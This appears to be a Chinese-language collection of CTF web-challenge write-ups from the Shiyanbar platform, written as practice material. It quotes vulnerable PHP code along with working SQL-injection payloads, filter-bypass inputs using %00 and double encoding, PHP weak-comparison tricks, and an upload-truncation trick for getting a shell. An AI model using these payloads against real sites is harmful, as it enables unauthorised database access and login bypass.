簡介
最近在刷CTF題,主攻Web,兼職Misc
Shiyanbar
0x01 簡單的登陸題
簡單概括:
- 考點: %00截斷正則 CBC字節翻轉攻擊
- 難度: 難
- WP:https://blog.csdn.net/include_heqile/article/details/79942993
解題過程:
F12查看響應頭,發現返回tips
訪問test.php文件得到源代碼:
<?php
define("SECRET_KEY", '***********');
define("METHOD", "aes-128-cbc");
error_reporting(0);
include('conn.php');
function sqliCheck($str){
if(preg_match("/\\\|,|-|#|=|~|union|like|procedure/i",$str)){
return 1;
}
return 0;
}
function get_random_iv(){
$random_iv='';
for($i=0;$i<16;$i++){
$random_iv.=chr(rand(1,255));
}
return $random_iv;
}
function login($info){
$iv = get_random_iv();
$plain = serialize($info);
$cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
setcookie("iv", base64_encode($iv));
setcookie("cipher", base64_encode($cipher));
}
function show_homepage(){
global $link;
if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
$cipher = base64_decode($_COOKIE['cipher']);
$iv = base64_decode($_COOKIE["iv"]);
if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
$info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");
$sql="select * from users limit ".$info['id'].",0";
$result=mysqli_query($link,$sql);
if(mysqli_num_rows($result)>0 or die(mysqli_error($link))){
$rows=mysqli_fetch_array($result);
echo '<h1><center>Hello!'.$rows['username'].'</center></h1>';
}
else{
echo '<h1><center>Hello!</center></h1>';
}
}else{
die("ERROR!");
}
}
}
if(isset($_POST['id'])){
$id = (string)$_POST['id'];
if(sqliCheck($id))
die("<h1 style='color:red'><center>sql inject detected!</center></h1>");
$info = array('id'=>$id);
login($info);
echo '<h1><center>Hello!</center></h1>';
}else{
if(isset($_COOKIE["iv"])&&isset($_COOKIE['cipher'])){
show_homepage();
}else{
echo '<body class="login-body" style="margin:0 auto">
<div id="wrapper" style="margin:0 auto;width:800px;">
<form name="login-form" class="login-form" action="" method="post">
<div class="header">
<h1>Login Form</h1>
<span>input id to login</span>
</div>
<div class="content">
<input name="id" type="text" class="input id" value="id" onfocus="this.value=\'\'" />
</div>
<div class="footer">
<p><input type="submit" name="submit" value="Login" class="button" /></p>
</div>
</form>
</div>
</body>';
}
}?>
代碼分析:
- sqliCheck函數負責過濾sql注入
- get_random_iv 生成16位隨機數(Asicc范圍在0~255內)iv
漏洞原因:
aes-128-cbc加密存在CBC翻轉攻擊(不理解,暫時跳過)
0x02 后台登錄
簡單概括:
- 考點:md5()函數16位二進制格式繞過,
md5("ffifdyop",True)
得到的加密字符串為'or'6<crash>
(注:or '數字+字母'
等價於or true
) - 難度:易
- WP:https://blog.csdn.net/qq_36791003/article/details/81746730
解題過程:
打開網頁,右鍵查看源代碼發現源碼:
<!-- $password=$_POST['password'];
$sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";
$result=mysqli_query($link,$sql);
if(mysqli_num_rows($result)>0){
echo 'flag is :'.$flag;
}
else{
echo '密碼錯誤!';
} -->
上網查了下,了解到md5($password,true)返回的是原始 16 字符二進制格式的密文,返回的內容可以存在單引號,故我們可以找個字符串,使其md5(str,true)加密過返回的字符串與原sql語句拼接造成SQL注入攻擊。
經過簡單的Fuzz,我們知道:字符串'or'6<亂碼>"
,此時如果拼接到sql語句中,那么這條語句將會變成一條永真式,因此成功登錄,獲得flag。
0x03 加了料的報錯注入
簡單概括:
-
- 考點:雙參數注釋繞過,
=
被過濾可用regexp 'xxx'
和in (0xaaaa)
代替
- 考點:雙參數注釋繞過,
- 難度: 中
- WP:https://www.jianshu.com/p/95f18a32ec7b
解題過程:
觀察題目可知此題考的是報錯注入,右鍵源代碼得到提升:Post發送username&password。
sql語句如下:
$sql="select * from users where username='$username' and password='$password'";
注意:此處可控的參數有兩個。
簡單手工測試,發現過濾了#,and
等關鍵字,而且username處單獨過濾了右括號,這意味着我們無法再username出使用函數,因而我們將目光轉向password。
經過一番人工Fuzz,發現只有exp()函數沒有被過濾,故我們構造語句:exp(~(select * from(select user())a))
成功爆出用戶名。
最終我們的payload如下:
username=a'/*&password=*/Or exp(~(select * from(select database())a))or'1
//查詢當前數據庫
username=a'/*&password=*/Or exp(~(select * from(select group_concat(table_name) from information_schema.tables where table_schema regexp 'error_based_hpf')a))or'1
//查詢表名,此處由於=被過濾,我們使用regexp來繞過
username=a'/*&password=*/Or exp(~(select * from(select group_concat(column_name) from information_schema.columns where table_name regexp 'ffll44jj')a))or'1
//查詢列名,此處由於and被過濾,故而不加數據庫名的驗證,在實際滲透中最好還是盡量加上。
username=a'/*&password=*/Or exp(~(select * from(select group_concat(value) from ffll44jj)a))or'1
//獲取flag
0x04 認真一點!
簡單概括:
- 考點:雙層疊加繞過過濾,大小寫繞過,from()for()代替偏移,布爾盲注
- 難度:難
- WP:https://blog.csdn.net/xingyyn78/article/details/79747404
解題過程:
打開網頁,隨便輸入個數字,頁面返回You are in...
,輸入在數字后加單引號,返回You are not in...
。
猜測此處考的是bool盲注,根據頁面返回的內容判斷真假。
經過一番簡單的fuzz,發現此處過濾的函數只會過濾一次,那么我們可以將過濾關鍵詞雙寫:oorr
就好了。
id=aaa'oorr(1=1)='1 //返回You are in
id=aaa'oorr(1=2)='1 //返回You are not in
// 此處的aaa是為了讓前邊條件為假,那么sql語句的判斷將依賴於后邊的語句
// 即:false ∪ (條件一) = 條件一
我們先判斷數據庫長度:
id=aaa'oorr(length(database())>1)='1
其次循環取數據庫名進行判斷:
id=aaa'oorr(mid((select+database())from(1)foorr(1))='c')='1
//由於,被過濾,使用from與for進行繞過,記得for要寫成foorr繞過過濾,+號繞過空格過濾
接着循環判斷表名:
id=aaa'oorr(mid((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database()))from(1)foorr(1))='a')='1
之后就不寫了,與上邊類似,寫腳本跑就好。
0x05 你真的會PHP嗎?
簡單概括:
- 考點:is_numeric函數的繞過(%20|%00)、PHP32位系統整數型變量最大值為:
2147483647
(2^31-1) 64位:9223372036854775807
(2^63-1) - 難度:中
- WP:https://blog.csdn.net/JBlock/article/details/78745513
解題過程:
打開題目,發現返回頭存在提示信息:
打開鏈接獲得源碼:
<?php
$info = "";
$req = [];
$flag="xxxxxxxxxx";
ini_set("display_error", false);
error_reporting(0);
if(!isset($_POST['number'])){
header("hint:6c525af4059b4fe7d8c33a.txt");
die("have a fun!!");
}
foreach([$_POST] as $global_var) {
foreach($global_var as $key => $value) {
$value = trim($value);
is_string($value) && $req[$key] = addslashes($value);
}
}
function is_palindrome_number($number) {
$number = strval($number);
$i = 0;
$j = strlen($number) - 1;
while($i < $j) {
if($number[$i] !== $number[$j]) {
return false;
}
$i++;
$j--;
}
return true;
}
if(is_numeric($_REQUEST['number'])){
$info="sorry, you cann't input a number!";
}elseif($req['number']!=strval(intval($req['number']))){
$info = "number must be equal to it's integer!! ";
}else{
$value1 = intval($req["number"]);
$value2 = intval(strrev($req["number"]));
if($value1!=$value2){
$info="no, this is not a palindrome number!";
}else{
if(is_palindrome_number($req["number"])){
$info = "nice! {$value1} is a palindrome number!";
}else{
$info=$flag;
}
}
}
echo $info;
?>
代碼流程:
is_numeric[false] && $req['number']!=strval(intval($req['number']))[false]
-> $value1!=$value2[false]
-> is_palindrome_number($req["number"])[true]
我們知道is_numeric函數與ereg函數一樣,存在截斷漏洞,而第二個if判斷存在弱類型比較的漏洞,我們將這兩個漏洞組合起來打一套組合拳。
PHP語言對於32位系統的int變量來說,最大值是2147483647,如果我們傳入的數值為2147483647的話,經過strrev函數反轉再轉成int函數仍是2147483647,因為746384741>2147483647,轉成int變量會減小成2147483647,故而繞過看似矛盾的條件。
而對於開始的is_numeric,加上%00或%20即可,此時is_numeric函數便不會認為這是個數字,而對於下邊的strval()in、intval()卻無影響。
綜上所述,我們的number應為:2147483647%00、2147483647%20、%002147483647。
此處%20不能再開頭的原因是intval()會將其轉換成數字0,而%00無影響。
0x06 登陸一下好嗎??
簡單概括:
- 考點:登錄框萬能密碼
- 難度:中
- WP:https://blog.csdn.net/h1012946585/article/details/79851884
解題過程:
打開頁面,猜測考的是萬能密碼,手動Fuzz發現過濾了or,故改用'='
成功。
0x07 who are you?
簡單概括:
- 考點:時間盲注,and case when () then () else () end繞過逗號過濾。
- 難度:中
- WP:https://blog.csdn.net/wy_97/article/details/75643252
解題過程:
抓包,發現回顯的數據貌似是直接取header的值,沒有經過數據庫,使用報錯注入失敗,猜測是盲注,由於bool盲注返回的頁面一致,故此題應為時間盲注:
簡單測試發現逗號被過濾,導致我們無法使用if語句,不過我們可以換成case when then else語句代替:
- X-Forwarded-For: 127.0.0.1'and case when(length(database())>1)then(sleep(5))else(sleep(0))end and '1
剩下的就是寫腳本慢慢跑了,此處略過。
0x08 因缺思汀的繞過
簡單概括:
- 考點:
gourp by xxx with rollup limit 1 offset x#
【創建虛擬表最后一行為pwd的值為NULL,借用offset偏移到最后一個,post傳輸空的pwd,滿足條件】 - 難度:中
- WP:https://blog.csdn.net/qq_35078631/article/details/54772798
解題過程:
右鍵源代碼得到提示信息source.txt
,打開得到源碼。
<?php
error_reporting(0);
if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {
echo '<form action="" method="post">'."<br/>";
echo '<input name="uname" type="text"/>'."<br/>";
echo '<input name="pwd" type="text"/>'."<br/>";
echo '<input type="submit" />'."<br/>";
echo '</form>'."<br/>";
echo '<!--source: source.txt-->'."<br/>";
die;
}
function AttackFilter($StrKey,$StrValue,$ArrReq){
if (is_array($StrValue)){
$StrValue=implode($StrValue);
}
if (preg_match("/".$ArrReq."/is",$StrValue)==1){
print "水可載舟,亦可賽艇!";
exit();
}
}
$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){
AttackFilter($key,$value,$filter);
}
$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){
die('Could not connect: ' . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql);
if (mysql_num_rows($query) == 1) {
$key = mysql_fetch_array($query);
if($key['pwd'] == $_POST['pwd']) {
print "CTF{XXXXXX}";
}else{
print "亦可賽艇!";
}
}else{
print "一顆賽艇!";
}
mysql_close($con);
?>
閱讀源碼可知,我們需要讓數據庫返回的pwd字段與我們post的內容相同,注意此處是弱類型比較。
我們知道grou by with roolup 將創建個虛擬表,且表的最后一行pwd字段為Null。
mysql> create table test (
-> user varchar(100) not null,
-> pwd varchar(100) not null);
mysql>insert into test values("admin","mypass");
mysql>select * from test group by pwd with rollup
mysql> select * from test group by pwd with rollup;
+-------+------------+
| user | pwd |
+-------+------------+
| guest | alsomypass |
| admin | mypass |
| admin | NULL |
+-------+------------+
3 rows in set
mysql> select * from test group by pwd with rollup limit 1
;
+-------+------------+
| user | pwd |
+-------+------------+
| guest | alsomypass |
+-------+------------+
mysql> select * from test group by pwd with rollup limit 1 offset 0
;
+-------+------------+
| user | pwd |
+-------+------------+
| guest | alsomypass |
+-------+------------+
1 row in set
mysql> select * from test group by pwd with rollup limit 1 offset 1
;
+-------+--------+
| user | pwd |
+-------+--------+
| admin | mypass |
+-------+--------+
1 row in set
mysql> select * from test group by pwd with rollup limit 1 offset 2
;
+-------+------+
| user | pwd |
+-------+------+
| admin | NULL |
+-------+------+
1 row in set
構造payload:
uname=1' or true group by pwd with rollup limit 1 offset 2#&pwd=
offset 2為偏移兩個數據,即第三行的pwd字段為空。
0x09 簡單的sql注入之3
簡單概括:
- 考點:mysql報錯注入
- 難度:易
- WP:https://www.cnblogs.com/caizhiren/p/7846917.html
解題過程:
exp函數報錯一把嗦
0x0A 簡單的sql注入之2
簡單概括:
- 考點:空格過濾
- 難度:易
- WP:https://www.cnblogs.com/caizhiren/p/7862466.html
解題過程:
簡單Fuzz發現過濾了空格,使用內斂注釋一把嗦。
/**/select/**/group_concat(table_name)/**/from/**/information_schema.tables=database()
0x0B 簡單的sql注入之1
簡單概括:
- 考點:雙層疊加繞過
- 難度:易
- WP:https://www.jianshu.com/p/5d37d33854e3
解題過程
selectselect
0x0C 天下武功唯快不破
簡單概括:
- 考點:腳本工具的編寫
- 難度:易
- WP:無
解題過程:
import requests,base64
r = requests.get('http://ctf5.shiyanbar.com/web/10/10.php')
key=base64.b64decode(r.headers['FLAG'])[-9:]
r = requests.post('http://ctf5.shiyanbar.com/web/10/10.php',data={'key':key})
print(r.text)
0x0D 讓我進去
簡單概括:
- 考點:hash長度拓展攻擊
- 難度:難
- WP:http://www.0x002.com/2018/CTF實驗吧讓我進去writeup/
0x0E 拐彎抹角
簡單概括:
- 考點:
index.php/index.php
- 難度:易
- WP:無
解題過程:
index.php/index.php
0X0F Forms
簡單概括:
- 考點:不清楚,過於簡單
- 難度:無
- WP:無
0x10 天網管理系統
簡單概括:
- 考點:PHP
==
弱類型比較,PHP序列化與反序列化 - 難度:易
- WP:http://www.cnblogs.com/ssooking/p/5877086.html
解題過程:
右鍵查看源代碼發現部分源碼 :
我們知道0e開頭的字符串在與數字0做弱類型比較時會先轉成數值0在比較,故:我們只要輸入一個經md5加密后密文為0e開頭的字符串即可。
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020
0x11 忘記密碼了
簡單概括:
- 考點:vim源碼泄露
- 難度:中
- WP:
.submit.php.swp
解題過程:
打開題目,觀察源碼,發現管理員郵箱:admin@simplexue.com,隨便輸入一個內容提交,顯示step2.php,嘗試訪問step2.php,網頁被重定向且返回html源碼,發現存在submit.php文件,猜測存在swp源碼泄露,訪問.submit.php.swp文件得到部分源碼。
........這一行是省略的代碼........
/*
如果登錄郵箱地址不是管理員則 die()
數據庫結構
--
-- 表的結構 `user`
--
CREATE TABLE IF NOT EXISTS `user` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`username` varchar(255) NOT NULL,
`email` varchar(255) NOT NULL,
`token` int(255) NOT NULL DEFAULT '0',
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ;
--
-- 轉存表中的數據 `user`
--
INSERT INTO `user` (`id`, `username`, `email`, `token`) VALUES
(1, '****不可見***', '***不可見***', 0);
*/
........這一行是省略的代碼........
if(!empty($token)&&!empty($emailAddress)){
if(strlen($token)!=10) die('fail');
if($token!='0') die('fail');
$sql = "SELECT count(*) as num from `user` where token='$token' AND email='$emailAddress'";
$r = mysql_query($sql) or die('db error');
$r = mysql_fetch_assoc($r);
$r = $r['num'];
if($r>0){
echo $flag;
}else{
echo "失敗了呀";
}
}
payload: token=0e11111111&emailAddress=admin@simplexue.com
0x12 Once More
簡單概括:
- 考點:ereg函數%00截斷,科學計數法
- 難度:易
- WP:
1e9%00*-*
解題過程:
打開題目,得到題目源碼:
<?php
if (isset ($_GET['password'])) {
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
{
echo '<p>You password must be alphanumeric</p>';
}
else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
{
if (strpos ($_GET['password'], '*-*') !== FALSE)
{
die('Flag: ' . $flag);
}
else
{
echo('<p>*-* have not been found</p>');
}
}
else
{
echo '<p>Invalid password</p>';
}
}
?>
首先判斷是否用過get方式傳入password,其次判斷是否只含有數字和字母,如果是則返回錯誤,接着判斷長度小於8且大於9999999。看到這里估計就知道是要考科學計數法了,最后要求get的數據包含*-*
。
我們知道1E8就等於10000000,這樣就可以滿足長度小於8且大於9999999的條件,不過我們先得繞開判斷只有數字和字母的條件,我們知道ereg函數可利用%00進行截斷攻擊,故我們的payload構造如下:
?password=1e8%00*-*
注意此處的%00只占一個字符的大小。
0x13 Guess Next Session
簡單概括:
- 考點:Session與Cookie綁定,PHP弱類型比較
- 難度:易
- WP:
刪掉Cookie,?password=
解題過程:
打開題目得到源碼:
<?php
session_start();
if (isset ($_GET['password'])) {
if ($_GET['password'] == $_SESSION['password'])
die ('Flag: '.$flag);
else
print '<p>Wrong guess.</p>';
}
mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000));
?>
創建session,通過get方式取password值再與session里的password值進行比較,這里我們不知道 session里的password值是多少的,而且我們並不能控制session,不過這里的比較是用==弱類型比較,猜想,如果我們將cookie刪除,那么$_SESSION['password']的值將為NULL,此時如果我們get傳入的 password為空,即'',那么比較結果即為true。
payload:
將cookie刪除或禁用,接着訪問?password=
0x14 FALSE
簡單概括:
- 考點:sha1,md5等傳入數組返回Null,PHP弱類型比較
- 難度:易
- WP:
?name[]=1&password[]=2
解題過程:
打開題目獲得源碼:
<?php
if (isset($_GET['name']) and isset($_GET['password'])) {
if ($_GET['name'] == $_GET['password'])
echo '<p>Your password can not be your name!</p>';
else if (sha1($_GET['name']) === sha1($_GET['password']))
die('Flag: '.$flag);
else
echo '<p>Invalid password.</p>';
}
else{
echo '<p>Login first!</p>';
?>
我們知道sha1()函數與md5()類似,當參數為數組時會返回NULL,如果我們傳入的name與password為數組時無論其為什么值,都可以通過sha1($name)===sha1($password)
的強類型判斷。
故我們的payload構造如下:
?name[]=a&password[]=b
0x15 上傳繞過
簡單概括:
- 考點:目錄名%00截斷
- 難度:易
- WP:
/upload/1.php%00
解題過程:
burp抓個上傳包:
首先嘗試了文件名%00階段,發現無用,然后看到了我們可以控制上傳的目錄名,猜測后台為獲取目錄名再與文件名拼接。
如果我們的目錄名存在截斷漏洞,那么我們可以構造/uploads/1.php%00這樣拼接的時候就只有目錄名,達到getshell的目的。
0x16 NSCTF web200
簡單概括:
- 考點:逆加密過程
- 難度:易
- WP:
部分:
x = "~88:36e1bg8438e41757d:29cgeb6e48c`GUDTO|;hbmg"
c = ""
for a in x:
b = ord(a)
c += chr(b-1)
print(c)
解題過程:
打開題目:
解密問題,按照加密過程反着解密即可。
0x17 程序邏輯問題
簡單概括:
- 考點:union select聯合注入
- 難度:易
- WP:
user=123aaa%27+union+select+%27c4ca4238a0b923820dcc509a6f75849b&pass=1
解題過程:
打開題目,右鍵查看源代碼得到題目源碼:
<html>
<head>
welcome to simplexue
</head>
<body>
<?php
if($_POST[user] && $_POST[pass]) {
$conn = mysql_connect("********, "*****", "********");
mysql_select_db("phpformysql") or die("Could not select database");
if ($conn->connect_error) {
die("Connection failed: " . mysql_error($conn));
}
$user = $_POST[user];
$pass = md5($_POST[pass]);
$sql = "select pw from php where user='$user'";
$query = mysql_query($sql);
if (!$query) {
printf("Error: %s\n", mysql_error($conn));
exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pw"];
if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {
echo "<p>Logged in! Key:************** </p>";
}
else {
echo("<p>Log in failure!</p>");
}
}
?>
<form method=post action=index.php>
<input type=text name=user value="Username">
<input type=password name=pass value="Password">
<input type=submit>
</form>
</body>
<a href="index.txt">
</html>
strcasecmp()函數不分大小寫進行字符串比較。
首先我們不知道數據庫里已有的用戶值為多少,更不知其密碼。
不過我們可以通過構造聯合查詢注入來返回我們自定義的數據。
payloadd:
user=abc' union select 'c4ca4238a0b923820dcc509a6f75849b&pass=1
1的md5為:c4ca4238a0b923820dcc509a6f75849b
0x18 what a fuck!這是什么鬼東西?
簡單概括:
- 考點:JSFUCK
- 難度:易
- WP:
復制代碼到瀏覽器控制台執行即可
解題過程:
復制粘貼進瀏覽器的js控制台,回車運行即可。
0x19 PHP大法
簡單概括:
- 考點:PHP自動解碼機制
- 難度:易
- WP:
id=%2568ackerDJ
解題過程:
打開題目,頁面提示:index.php.txt,打開得到源碼:
<?php
if(eregi("hackerDJ",$_GET[id])) {
echo("<p>not allowed!</p>");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
echo "<p>Access granted!</p>";
echo "<p>flag: *****************} </p>";
}
?>
<br><br>
Can you authenticate to this website?
$_GET[id]
在取到值后已經自動urldecode了一次,然而后邊再用urldecode解碼一次,故可以使用二次編碼繞過前邊的關鍵字檢測。
0x1A 這個看起來有點簡單!
簡單概括:
- 考點:Union無過濾注入
- 難度:易
- WP:無
0x1B 貌似有點難
簡單概括:
- 考點:Header頭IP偽造
- 難度:易
- WP:無
0x1C 頭有點大
簡單概括:
- 考點:UA頭偽造
- 難度:易
- WP:無
0x1D 貓抓老鼠
簡單概括:
- 考點:腦洞
- 難度:及其變態神經病的題目
- WP:無
解題過程:
查看訪問請求返回頭,發現有東西:
將這串base64放到表單里提交即可。
0x1E 看起來有點難
簡單概括:
- 考點:時間盲注
- 難度:中
- WP:sqlmap一把嗦